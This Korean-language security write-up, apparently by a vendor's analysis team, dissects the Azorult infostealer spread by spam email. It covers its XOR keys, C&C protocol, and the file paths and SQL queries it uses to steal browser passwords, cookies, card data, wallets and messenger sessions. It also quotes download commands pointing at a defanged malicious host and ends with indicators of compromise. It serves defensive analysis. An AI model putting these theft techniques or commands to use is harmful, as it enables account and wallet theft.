스팸 메일을 통해 유포 중인 Azorult 인포스틸러

ASEC 분석팀은 최근 Azorult 인포스틸러가 스팸 메일을 통해 유포되고 있는 것을 확인하였다. Azorult는 C&C 서버에 접속하여 정보 유출 행위에 사용되는 DLL들과 명령을 받아온 후 사용자 계정 정보 및 사용자 데이터 파일들과 같은 정보를 탈취해 C&C 서버에 유출하는 인포스틸러 악성코드이다. 정보 유출 대상으로는 웹 브라우저, 이메일 클라이언트 등의 계정 정보 외에도 스크린샷이나 코인, 나아가 공격자가 지정한 특정 경로의 특정 확장자를 갖는 파일도 수집 대상이 될 수 있다.

명령 중에는 추가 악성코드 다운로드를 위한 명령도 지원하는데 이에 따라 다운로더 역할도 수행할 수 있다. 여기까지의 과정이 끝나면 일반적인 악성코드와는 달리 정보 유출 및 다운로더 행위 이후에 자가 삭제한다. 즉 Run key 등록과 같이 재부팅 이후에도 동작할 수 있도록 하는 방식이 지원되지 않는데, 이는 사용자 몰래 동작하면서 공격자의 명령을 받아 추가적인 행위를 하는 형태가 아닌 단순하게 정보 유출 이후 삭제되어 버린다는 특징을 갖는다. 물론 추가 악성코드를 다운로드 받는 다운로더 역할을 수행함으로써 중간 단계로써 동작할 수도 있다.

[그림 1] 스팸 메일로 유포되는 Azorult

Azorult는 위와 같이 최근 스팸 메일의 첨부 파일을 통해 유포되며, 견적의뢰서_공사계획평면도.7z라는 이름의 압축 파일이 접수 파일명으로 존재하는 것을 볼 때 국내 사용자 또한 유포 대상인 것을 확인할 수 있다.




1. 초기화

Azorult는 실행되면 뮤텍스를 생성하는데 여기에 사용되는 문자열은 다음과 같은 과정을 통해 만들어진다. 먼저 현재 프로세스의 권한을 구한다. 일반적으로 더블 클릭으로 실행될 경우에는 탐색기 즉 explorer.exe의 자식 프로세스로 실행될 것이기 때문에 사용자 즉 User 그룹에 속하게 된다. 관리자 권한으로 실행될 경우에는 Administration 그룹에 속하게 되며 나아가 시스템 권한으로 실행될 수도 있다. 다음과 같은 함수에서는 각각에 대해서 S, A, U, G를 반환한다.

[그림 2] 권한 정보 획득

그리고 MachineGuid, ProductName, UserName, ComputerName 및 이 4개의 문자열을 더한 문자열들에 대해 각각 자체 알고리즘을 이용해 다음과 같은 형태의 문자열을 생성한다. 참고로 이 함수는 이후에도 패킷 전송 등의 시점에서 계속 사용된다.

[Machine Guid 기반]-[Product Name 기반]-[User Name 기반]–[Computer Name 기반]-[4개의 문자열 기반]

Ex) 112xxx26-86C3DFC7-8EBxxx77-DBxxxA24-C539B8C2
[그림 3] 유니크한 문자열 생성

앞에서 구한 권한을 의미하는 문자열 즉 S|A|U|G 중 하나의 문자에 위에서 구한 유니크한 문자열을 더한 문자열이 뮤텍스 생성에 사용되는 문자열이다. 이후 암호화되어 있는 C&C 서버 주소를 디코딩하며, 마지막으로 C&C 서버 요청 시 전달할 데이터를 구한다.

이 데이터는 3바이트 XOR 키인 0x0355AE 데이터에 앞에서 구한 유니크한 문자열을 URL 인코딩하여 덧붙인 데이터이다. 참고로 C&C 서버에 요청하기 전에 이 3바이트 XOR 키로 인코딩하며 인코딩한 데이터를 C&C 서버에 전달한다. XOR 키를 같이 전송하는 이유는 C&C 서버가 전달받은 내용을 디코딩하기 위한 목적일 수도 있겠지만, C&C 서버가 전달할 데이터를 해당 키로 인코딩하는 것이 목적일 수도 있다.

[그림 4] C&C 서버에 POST 요청 시 사용되는 인코딩된 유니크한 문자열




2. 명령 및 DLL 다운로드

2.1. 디코딩

현재 분석 대상 악성코드가 C&C 서버로부터 받은 데이터는 0x444340 즉 약 4,369KB 사이즈의 인코딩된 데이터이다. 여기에는 C&C 서버의 명령과 정보 유출에 사용될 다수의 DLL들 그리고 Azorult가 사용할 문자열 데이터가 포함되어 있다.

[그림 5] C&C 서버로부터 전달 받은 인코딩된 데이터

인코딩 방식은 XOR이며 C&C 요청 시 사용되었던 3 바이트 XOR과 추가적인 4 바이트 XOR 디코딩이 각각 사용된다. 아래의 그림과 같이 먼저 인코딩된 데이터의 처음 0x80000 사이즈만큼을 하드코딩된 키 값인 0x0355AE로 디코딩한다. 이는 앞에서 C&C 서버에 대한 요청에서도 진행한 것과 동일하다. 이에 따라 처음에 위치하는 즉 <c>와 </c> 태그에 존재하는 값인 C&C 명령 전체와 일정 부분의 DLL 데이터까지 복호화된다. 복호화 결과는 Base64 암호화로 인코딩된 문자열이다.

[그림 6] XOR 디코딩 과정

이후에는 일정 부분이 디코딩된 DLL 데이터 즉 태그 <n> 부터 시작하는 0x80000 만큼과 디코딩되지 않았던 뒷부분의 DLL 데이터를 태그 </n> 까지에 대해 4 바이트 XOR 키로 디코딩한다. 여기에 사용되는 키는 0xC8653001이다. 마지막으로 <d></d> 태그에 존재하는 문자열 데이터가 있지만, 이것은 C&C 명령처럼 XOR 디코딩되어 있지 않고 Base64 인코딩 문자열 형태로 존재한다.

[그림 7] 디코딩된 C&C 명령 – <c></c> 태그에 base64 문자열 형태로 존재



2.2. 디코딩된 데이터

a. Command
C&C 서버의 명령은 <c></c> 태그 안에 존재하며, XOR 디코딩 결과 Base64로 인코딩된 문자열이었다. 이것을 Base64 디코딩하면 아래와 같은 명령들을 확인할 수 있다.

참고로 현재 분석 대상 Azorult 6a4824ab00e63c2f1bbf29a24d78b2a4 는 위와 같은 짧은 명령을 받지만, 또 다른 Azorult c0e0a9d259bbf9faab7fd5049bf6b662 가 전달받는 명령은 다음과 같다.

Azorult 1 ]
– MD5 : 6a4824ab00e63c2f1bbf29a24d78b2a4
– C&C 서버 주소 : http://ciuj[.]ir/masab/index.php
Azorult 2 ]
– MD5 : c0e0a9d259bbf9faab7fd5049bf6b662
– C&C 서버 주소 : http://jamesrlongacre[.]ug/index.php

첫번째 줄에 위치하는 +와 -의 조합 10개는 Azorult에 존재하는 다양한 정보 유출 기능들의 활성화 여부를 결정하는 플래그이다. +는 활성화, -는 비활성화이다. 각각의 플래그에 대해서는 정보 유출 항목에서 상세히 다루도록 한다.

그 다음으로 F 및 I 그리고 L로 시작하는 라인은 각각의 명령을 의미한다. F 명령을 통해서 추가적으로 사용자 데이터를 유출하기 위한 대상 경로 및 확장자 등을 지정할 수 있으며, I는 사용자의 IP 주소 조회 기능 마지막으로 L은 추가 악성코드 다운로드 기능 즉 다운로더로서의 역할을 담당한다. 각각의 명령에 대해서는 C&C 명령 항목에서 다루도록 한다.


b. 정보 유출 기능 담당 DLL들
DLL들은 <n></n> 태그에 포함되어 있었으며 XOR 키로 인코딩되어 있었다. 위에서 언급한 XOR 과정을 거쳐 디코딩된 DLL들은 아래의 그림과 같이 [DLL 이름]:[DLL 바이너리]<구분자>[DLL 이름]… 형태로 존재한다. 아래의 예시를 통해 보자면 DLL 구분자인 “|||<[{99C3}]>|||” 이후 존재하는 DLL은 이름이 “api-ms-win-core-datetime-l1-1-0.dll”이며 “:” 이후 실제 DLL 바이너리가 존재하는 형태이다.

[그림 8] 디코딩된 DLL 데이터 – 구분자 및 DLL 이름 그리고 DLL 바이너리

위와 같이 존재하는 디코딩된 DLL들은 모두 48개이며 \AppData\Temp\[Unique]\ 경로에 드랍한다. 이 DLL들은 정보 유출 수행 전에 로드되어 사용되며 그 목록은 아래와 같다.

api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-util-l1-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-multibyte-l1-1-0.dll
api-ms-win-crt-private-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-time-l1-1-0.dll
api-ms-win-crt-utility-l1-1-0.dll
freebl3.dll
mozglue.dll
msvcp140.dll
nss3.dll
nssdbm3.dll
softokn3.dll
ucrtbase.dll
vcruntime140.dll


c. 문자열 데이터
프로그램들이 특정 기능을 수행하기 위해서는 코드뿐만 아니라 문자열과 같은 데이터가 필요하며 이는 악성코드들도 마찬가지이다. 프로그램의 데이터 영역에 문자열들이 그대로 들어가 있다면 이러한 문자열들 만으로 악성코드의 기능을 파악하기 쉽기 때문에 대부분의 악성코드들은 문자열들을 인코딩해서 가지고 있다가 실행 중에 디코딩하여 사용한다.

Azorult는 특이하게 이렇게 악성 행위에 사용되는 대부분의 문자열들을 바이너리 자체에 가지고 있지 않고 C&C 서버로부터 전달받는다. 즉 정보 유출 대상인 “GoogleChrome”, “firefox”와 같은 문자열들뿐만 아니라, 정보 유출에 사용되는 API들인 “sqlite3_open”, “sqlite3_prepare_v2” 문자열들 및 SQL 쿼리문들 등 대부분의 문자열들을 서버로부터 전달받는다.

문자열 데이터는 XOR 키로 인코딩되어 있지 않고 <d></d> 태그에 Base64 문자열로 존재한다. Base64 문자열을 디코딩하면 아래와 같이 208개의 문자열들을 확인할 수 있다.

[그림 9] <d></d> 태그 안에 Base64 인코딩되어 존재하는 문자열 데이터
[그림 10] 디코딩된 문자열 데이터




3. 정보 탈취

Azorult는 정보 유출에 사용되는 DLL들을 디코딩하고 드랍한 후 로드하며 정보 유출에 사용할 API들의 주소들을 구한다. 그리고 아래와 같이 C&C 서버에서 전달받은 정보 유출 관련 Flag에 따라 정보를 탈취한다. 플래그는 모두 10개이며 각각 다음과 같은 기능의 활성화 / 비활성화를 담당한다.

  • 플래그 : ++++++++-+
순서담당 기능
0확인되지 않음
1다양한 애플리케이션 계정 정보
2웹 브라우저 Cookie 및 AutoComplete
3Coin
4Skype History
5Telegram
6Steam
7스크린샷
8자가 삭제
9웹 브라우저 History
[표 1] 정보 유출 기능 활성화 플래그

참고로 파일들은 메모리 상에서 ZIP 포맷의 압축 파일 형태로 저장된다. 파일 형태로 드랍하는 것이 아닌 메모리 상에만 존재하지만, C&C 서버에 전송하기 전에 zip 압축 파일을 메모리 상에서 추출해 보면 다음과 같이 획득한 정보 목록들을 확인할 수 있다.

\
…. \Browsers\
…….. \Browsers\Cookies\
…….. \Browsers\AutoComplete
…….. \Browsers\History\
…. \Skype\
…. \Telegram\
…. \Steam\
…….. \Steam\Config\
…. \Files\
…….. \Files\사용자 지정 경로\정보 유출 대상 데이터
…. PasswordsList.txt
…. CookieList.txt
…. Scr.jpg
…. ip.txt
…. System.txt
[그림 11] 탈취된 사용자 정보가 담긴 zip 파일



3.1. 계정 정보

– zip 파일 저장 경로 : \PasswordsList.txt
Azorult는 다양한 프로그램들에 대해 계정 정보를 탈취하며 그 대상 프로그램은 다음과 같다. 참고로 Cookie, History 등과 같이 웹 브라우저 항목에서 다루는 Chromium 및 Mozilla 기반 웹 브라우저는 아래의 대상들과 동일하다.


a. 웹 브라우저
– 대상 프로그램 : Internet Explorer, Vault(최신 버전의 IE 및 과거 버전의 Edge 포함), Chromium 기반 웹 브라우저( GoogleChrome, GoogleChrome64, InternetMailRu, YandexBrowser, ComodoDragon, Amigo, Orbitum, Bromium, Chromium, Nichrome, RockMelt, 360Browser, Vivaldi, Opera, GoBrowser, Sputnik, Kometa, Uran, QIPSurf, Epic, Brave, CocCoc, CentBrowser, 7Star, ElementsBrowser, TorBro, Suhba, SaferBrowser, Mustang, Superbird, Chedot, Torch ), Mozilla 기반 웹 브라우저( MozillaFireFox, Waterfox, IceDragon, Cyberfox, PaleMoon )

Internet Explorer 버전 7 / 8, 즉 과거 버전에서는 AutoComplete 비밀번호가 레지스트리 HKCU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2에 저장되었다. 이 키의 Value들은 계정 정보에 상응하는 웹 사이트의 URL들에 대한 해시값이고, 해당 Value의 Data가 계정 정보이다. Data는 DPAI를 이용해 인코딩되어 있는데, 이를 디코딩하기 위해서는 먼저 이 키가 어떤 웹 사이트에 매칭되는지 알아야 한다.

이를 확인하기 위해 Azorult는 다음과 같이 CUrlHistory COM 객체를 이용해 IE의 History를 구한다.
CUrlHistory CLSID : 3C374A40-BAE4-11CF-BF7D-00AA006946EE
IUrlHistoryStg2 IID : AFA0DC11-C313-11d0-831A-00C04FD5AE38

[그림 12] IE의 History를 구하는 루틴

이렇게 IE History에서 구한 URL들을 사용용해 \IntelliForms\Storage2에 저장된 값들을 CryptUnprotectData() API를 이용해 구하는 방식으로 IE에 저장된 사용자 계정 정보를 획득한다. 다음으로 Windows Vault에 저장된 Edge 웹 브라우저의 계정 정보를 탈취한다.

[그림 13] Windows Vault 계정 정보 탈취 루틴

Chromium 기반 웹 브라우저 중에서 Google Chrome을 예시로 들자면 \AppData\Local\Google\Chrome\User Data\Default\Login Data 파일에 대해 다음과 같은 SQL 쿼리문으로 계정 정보를 추출한다.

> SELECT origin_url, username_value, password_value FROM logins

[그림 14] Chromium 계정 정보 탈취 루틴

Mozilla 기반 웹 브라우저 중에서 Mozilla Firefox를 예시로 들자면 \AppData\Roaming\Mozilla\Firefox\Profiles\wz0irceq.default-release와 같은 경로에 존재하는 logins.json 파일을 읽는다. 이 파일은 텍스트 포맷으로서 hostname, encryptedUsername, encryptedPassword와 같은 항목들에 대해 문자열을 파싱한다. encryptedUsername과 encryptedPassword는 Bae64 인코딩된 문자열이며 이를 디코딩한 결과에 대해서 nss3.dll의 PK11_GetInternalKeySlot(), PK11_Authenticate(), PK11SDR_Decrypt() 등의 함수로 복호화하여 원본 계정 정보를 구할 수 있다.


b. 이메일 클라이언트
– 대상 프로그램 : Outlook, Thunderbird

Thunderbird는 Mozilla 기반이기 때문에 위의 Firefox에서 언급한 것과 동일한 방식이 사용된다. Outlook은 아래와 같은 레지스트리 키들에서 EMAIL, POP3, IMAP, SMTP, HTTP와 같은 값들을 추출한다.

[그림 15] 아웃룩 계정 정보 탈취 루틴


c. 기타
– 인스턴트 메시지 대상 프로그램 : Psi+, Pidgn
– FTP 클라이언트 대상 프로그램 : FileZilla, WinSCP

[그림 16] WinSCP 계정 정보 탈취 루틴



3.2. 웹 브라우저 쿠키

– zip 파일 저장 경로 : \CookieList.txt, \Browsers\Cookies\[유출 대상 파일].txt

Cookie 및 AutoFill 플래그가 활성화되어 있다면 IE, Edge, Chromium 기반 그리고 Mozilla 기반 웹 브라우저의 쿠키 파일들을 탈취한다. IE와 Edge에 대해서는 다음 경로들에서 *.txt 파일들과 *.cookie 파일들을 탈취한다.

\AppData\Roaming\Microsoft\Windows\Cookies\
\AppData\Roaming\Microsoft\Windows\Cookies\Low\
\AppData\Local\Microsoft\Windows\INetCache\
\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\INetCookies\
\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC#!001\MicrosoftEdge\Cookies\
\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC#!002\MicrosoftEdge\Cookies\
\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cookies\

Chromium 기반 웹 브라우저 중에서 Google Chrome을 예시로 들자면 \AppData\Local\Google\Chrome\User Data\Default\Cookies 파일에 대해 다음과 같은 2개의 SQL 쿼리문들 중 하나의 쿼리문으로 정보를 추출한다.

> SELECT host_key, name, encrypted_value, value, path, secure, (expires_utc/1000000)-11644473600 FROM cookies
> SELECT host_key, name, name, value, path, secure, expires_utc FROM cookies

Mozilla 기반 웹 브라우저 중에서 Mozilla Firefox를 예시로 들자면 \AppData\Roaming\Mozilla\Firefox\Profiles\wz0irceq.default-release와 같은 경로에 존재하는 cookies.sqlite 파일에 대해 다음과 같은 SQL 쿼리문으로 정보를 추출한다.

> SELECT host, path, isSecure, expiry, name, value FROM moz_cookies



3.3. 웹 브라우저 AutoComplete

– zip 파일 저장 경로 : \Browsers\AutoComplete\[유출 대상 파일].txt

Cookie 및 AutoFill 플래그가 활성화되어 있다면 Chromium 기반 그리고 Mozilla 기반 웹 브라우저의 AutoFill 기록을 탈취한다. Chromium 기반 웹 브라우저 중에서 Google Chrome을 예시로 들자면 \AppData\Local\Google\Chrome\User Data\Default\Web Data 파일에 대해 다음과 같은 SQL 쿼리문으로 정보를 추출한다.

> SELECT name, value FROM autofill

Chromium 기반 웹 브라우저에서는 추가적으로 CreditCard 정보도 탈취 대상이 된다. 동일하게 \AppData\Local\Google\Chrome\User Data\Default\Web Data 파일에 대해 다음과 같은 SQL 쿼리문으로 정보를 추출한다.

> SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted value FROM credit_cards

Mozilla 기반 웹 브라우저 중에서 Mozilla Firefox를 예시로 들자면 \AppData\Roaming\Mozilla\Firefox\Profiles\wz0irceq.default-release와 같은 경로에 존재하는 formhistory.sqlite 파일에 대해 다음과 같은 SQL 쿼리문으로 정보를 추출한다.

> SELECT fieldname, value FROM moz_formhistory



3.4. 웹 브라우저 히스토리

– zip 파일 저장 경로 : \Browsers\History\[유출 대상 파일].txt

History 플래그가 활성화되어 있다면 Chromium 기반 그리고 Mozilla 기반 웹 브라우저의 History 기록을 탈취한다. Chromium 기반 웹 브라우저 중에서 Google Chrome을 예시로 들자면 \AppData\Local\Google\Chrome\User Data\Default\History 파일에 대해 다음과 같은 SQL 쿼리문으로 정보를 추출한다.

> SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),\”unixepoch\”) , urls.title , urls.url FROM urls, visits WHERE urls.id = visits.url ORDER By  visits.visit_time DESC LIMIT 0, 10000

Mozilla 기반 웹 브라우저 중에서 Mozilla Firefox를 예시로 들자면 \AppData\Roaming\Mozilla\Firefox\Profiles\wz0irceq.default-release와 같은 경로에 존재하는 places.sqlite 파일에 대해 다음과 같은 SQL 쿼리문으로 정보를 추출한다.

> SELECT DATETIME(moz_historyvisits.visit_date/1000000, \”unixepoch\”, \”localtime\”),moz_places.title,moz_places.url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER By moz_historyvisits.visit_date DESC LIMIT 0, 10000

[그림 17] Firefox History 정보 탈취 루틴



3.5. 코인 지갑

– zip 파일 저장 경로 : \Coins\autoscan\, \Coins\Monero\

Coin 플래그가 활성화되어 있다면 다양한 종류의 코인들 각각에 대해서 지갑 파일들을 탈취한다. 먼저 \Coins\autoscan\ 폴더에 저장되는 파일들은 \AppData\Roaming\ 폴더 내의 경로를 조회하여 다음과 같은 조건에 맞는 파일들을 대상으로 한다.
– “.wallet”, “wallets\.wallet”, “wallet.dat”, “wallets\wallet.dat”, “electrum.dat”, “wallets\electrum.dat”

다음으로 \Coins\Monero\ 폴더에 저장되는 파일들은 먼저 HKCU\Software\monero-project\monero-core 키의 wallet_path 데이터를 참조하여 경로를 구한 해당 파일과 해당 파일명에 .address.txt가 붙은 이름의 파일, 그리고 .keys가 붙은 이름의 파일을 대상으로 한다. 이후 다음과 같은 레지스트리 키에서 strDataDir 데이터를 참조해 경로를 구한 경로에서 wallet.dat 파일 및 \wallets\wallet.dat 파일들도 탈취한다.

HKCU\Software\Bitcoin\Bitcoin-Qt
HKCU\Software\BitcoinGold\BitcoinGold-Qt
HKCU\Software\BitCore\BitCore-Qt
HKCU\Software\Liteoin\Litecoin-Qt
HKCU\Software\BitcoinABC\BitcoinABC-Qt

마지막으로 \AppData\Roaming\Electrum\wallets\와 같이 \AppData\Roaming\에 각각의 경로로 위치하는 다음과 같은 코인들의 지갑 파일들을 탈취한다.
– Electrum, Electrum-LTC, ElectrumG, Electrum-btcp, Ethereum, Exodus, Exodus Eden, Jaxx, MultiBitHD



3.6. 스카이프

– zip 파일 저장 경로 : \Skype\

Skype 플래그가 활성화되어 있다면 \AppData\Roaming\Skype\ 경로에서 main.db 파일을 탈취한다. Skype 사용 시 각종 로그는 main.db 파일에 저장되는 것으로 알려져 있으며, 이 파일이 있으면 특정 툴을 이용해 관련 내용을 복구할 수 있다. 즉 공격자가 main.db 파일을 탈취할 경우 사용자의 Skype 대화 기록과 같은 관련 정보들이 공격자에게 유출될 수 있다.

[그림 18] Skype의 main.db 파일 탈취 루틴



3.7. 텔레그램

– zip 파일 저장 경로 : \Telegram\

Telegram 플래그가 활성화되어 있다면 \AppData\Roaming\Telegram Desktop\tdata\ 경로에 존재하는 “D877F783D5”로 시작하는 파일들과 “map”으로 시작하는 파일들을 탈취한다. 이 파일들은 Telegram PC 버전에 존재하는 세션 관련 설정 파일들로서, 공격자에 의해 세션 탈취 공격에 사용될 수 있는 것으로 알려져 있다.

[그림 19] Telegram의 세션 데이터 파일 탈취 루틴



3.8. Steam

– zip 파일 저장 경로 : \Steam\Config\[*.vdf], \Steam\[ssfn*]

Steam 플래그가 활성화되어 있다면 HKCU\Software\Valve\Steam 키의 SteamPath 값을 참조하 여 경로를 획득한 후 해당 경로에 존재하는 “ssfn*” 파일들과 내부 Config 폴더에 존재하는 “*.vdf” 파일들을 탈취한다. 해당 파일들은 스팀 클라이언트의 세션 및 설정 정보들을 가지고 있는 파일들로서, 공격자들은 이 파일들을 이용해 스팀 계정에 접근할 수 있다.

[그림 20] Steam 세션 정보 탈취 루틴



3.9. 스크린샷

– zip 파일 저장 경로 : \scr.jpg

스크린샷 플래그가 활성화되어 있다면 현재 화면에 대한 스크린샷을 찍어서 압축 파일에 scr.jpg 이름으로 저장한다.



3.10. 시스템 정보

– zip 파일 저장 경로 : \System.txt

Azorult는 C&C 명령에 관계 없이 기본적으로 여러 시스템 정보를 획득한 후 유출한다. 유출되는 정보들은 아래와 같다.

MachineID, 악성코드 경로, 윈도우 버전, 컴퓨터 이름, 해상도, 언어, 시간, Time Zone, CPU 모델, CPU 개수, 램 사이즈, Video 카드 정보, 현재 실행 중인 프로세스 목록, 설치된 프로그램 목록
[그림 21] 수집한 시스템 정보들




4. C&C 명령

4.1. 명령어 – F

– zip 파일 저장 경로 : \Files\[사용자 지정 경로명]\[유출 대상 파일].txt

F 명령은 사용자 PC의 파일들을 수집하는 명령으로써 경로 및 확장자 등의 설정을 같이 전달받는다. 다음은 실제로 C&C 서버로부터 전달받은 F 명령들 중 2개를 예시로 한다.

F 명령은 다음과 같은 포맷을 갖는다.
[ F \t <압축 파일명> \t <경로> \t <확장자> \t <최대 사이즈> \t <하위 폴더> \t <바로가기> \t <예외 경로> ]

F 명령에 의해 수집된 파일들은 압축 파일 내부의 Files\ 경로에 위치하며, 명령에서 지정한 압축 파일명 폴더에 저장된다. 예들들면 첫번째 명령은 DOC TXT 폴더에 데이터가 저장된다. 경로는 %USERPROFILE%과 같은 환경 변수와 “DSK_”로 시작하는 드라이드 경로를 지원한다. 루트 경로를 지정하고 GetDriveTypeA() 함수를 호출하면 해당 경로 드라이브의 타입을 반환할 수 있는데, 2는 USB와 같은 이동식 저장매체를 의미하며, 3은 일반적인 드라이브 그리고 5는 CD-ROM 드라이브를 의미한다. 이에 따라 위의 예시에서 %DSK_23%은 일반적인 하드 드라이브와 USB 드라이브를 파일 유출 대상으로 하겠다는 것을 의미한다.

[그림 22] F 명령어 – 파일 수집

3번째 항목은 수집 대상 파일의 확장자이며 4번째는 KB 단위의 수집 파일 최대 사이즈이다. 그 다음으로는 +|- 플래그 2개가 존재하는데 첫번째는 하위 디렉터리까지 파일 수집 대상으로 할지 여부를 지정하며, 두번째는 바로가기 파일 즉 .lnk 파일을 수집 대상으로 할지 여부를 지정한다. 마지막으로 존재하는 키워드들은 정보 유출 대상에서 예외 처리할 폴더들의 경로명이다.



4.2. 명령어 – L

위에서 언급한 또 다른 Azorult는 아래와 같은 L 명령을 받았다.

L http://jamesrlongacre[.]ug/ds2.exe – *
L http://jamesrlongacre[.]ug/ds1.exe – *
L http://jamesrlongacre[.]ug/rc.exe – *
L http://jamesrlongacre[.]ug/ac.exe – *

L 명령은 <L> \t <URL> \t <+|-> \t <*|URL> 형태로 이루어진다. 세번째 항목의 +|- 플래그는 다운로드 받은 파일 실행 시에 SW_HIDE 플래그 여부를 지정한다. +일 경우에는 SW_HIDE 즉 숨김 속성으로 실행시킨다.

네 번째 항목은 두 파일 모두 *를 명령으로 받았지만 특정 URL을 받을 수 있다. 그리고 현재 쿠키 목록에서 해당 키워드가 포함된 경우에만 추가 악성코드 다운로드를 수행한다. 현재 명령인 *의 경우에는 쿠키와 관계없이 다운로더 행위를 수행한다. 아래는 “AHNLAB”이라는 키워드를 받았다는 가정 하에 쿠키 목록들에서 해당 키워드를 검사하는 루틴이다.

[그림 23] 쿠키 리스트 비교 루틴

다운로드되는 파일은 Temp 경로에 해당 URL의 이름으로 저장되며, 이미 동일한 이름의 파일이 존재할 경우에는 ProgramData 경로에 다운로드한다. 그리고 다운로드 받은 파일의 확장자가 .exe일 경우에는 CreateProcessW() 함수를 이용해, 아닐 경우에는 ShellExecuteExW() 함수를 이용해 실행시킨다. 위의 과정은 각각의 L 명령에 대해 반복적으로 수행한다.

[그림 24] 다운로더 루틴



4.3. 명령어 – I

– zip 파일 저장 경로 : \ip.txt

현재 C&C 서버로부터 전달받은 I 명령에는 감염 PC의 IP주소와 국가 코드가 존재한 형태였다. 이 경우에는 간단하게 전달받은 정보를 ip.txt 파일로 저장한다.

I xxx.xxx.xx7.166:KR

만약 I 명령에 감염 PC의 IP 및 국가 코드 정보가 존재하지 않은 경우에는, 즉 “?”를 전달받았다면 http://ip-api.com/json 에 쿼리하여 정보를 획득한 후 파싱하여 ip.txt 파일에 저장한다.

[그림 25] IP 정보 추출




5. 수집한 정보 유출

Azorult는 정보 획득 과정이 모두 끝나면 다음과 같이 C&C 서버에 전달할 패킷을 생성한다. 패킷은 다음과 같은 구조로 만들어지며 zip 파일 이전에 붙는 문자열들은 모두 URL 인코딩되어 있다. 구분자는 문자열 “2C5A87CB-758C-7293-47BC-475C65D699A584C5-7DC6-DC45-12A47C7DB587-F89F-78CD-96CA-FD478543C7F4 이며 바이너리 상에 하드코딩 되어 있다.

<시스템 정보> [구분자][구분자] <탈취한 계정 정보> [구분자][구분자] <탈취한 쿠키 정보> [구분자][구분자] <압축 파일>

[그림 26] XOR 인코딩되기 전의 패킷 데이터

이후 C&C 명령을 복호화했던 것처럼 처음 0x80000 크기만큼을 3바이트 XOR한다. 여기에서 사용되는 키는 동일하게 0x0355AE이다. 이렇게 XOR 인코딩된 데이터를 서버에 전송하고 나면, 이전에 전달받은 L 명령을 이용해 다운로더 행위를 진행한다.

[그림 27] C&C 통신과 추가 악성코드 다운로드 루틴

여기까지의 과정이 모두 끝나면 생성한 DLL들과 해당 DLL들이 위치한 Temp 경로 내의 폴더를 삭제한다. 마지막으로 C&C 명령에 따라 자가 삭제가 이루어지기 때문에 Azorult 악성코드의 흔적을 확인하지 못할 수도 있다.




6. 결론

Azorult 악성코드는 스팸 메일을 통해 유포되고 있으며, 이에 따라 사용자들은 의심스러운 메일을 받게 된다면 첨부 파일의 실행을 지양해야 한다. 또한 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경써야 한다.

[파일 진단]
– Trojan/Win32.Kryptik.C4217978
– Malware/Win32.RL_Generic.R354530
[행위 진단]
– Malware/MDP.Behavior.M3108
[IOC]
– 파일
6a4824ab00e63c2f1bbf29a24d78b2a4
c0e0a9d259bbf9faab7fd5049bf6b662
– C&C 주소
hxxp://ciuj[.]ir/masab/index.php
hxxp://jamesrlongacre[.]ug/index.php

5 2 votes
Article Rating
guest
0 Comments
Inline Feedbacks
View all comments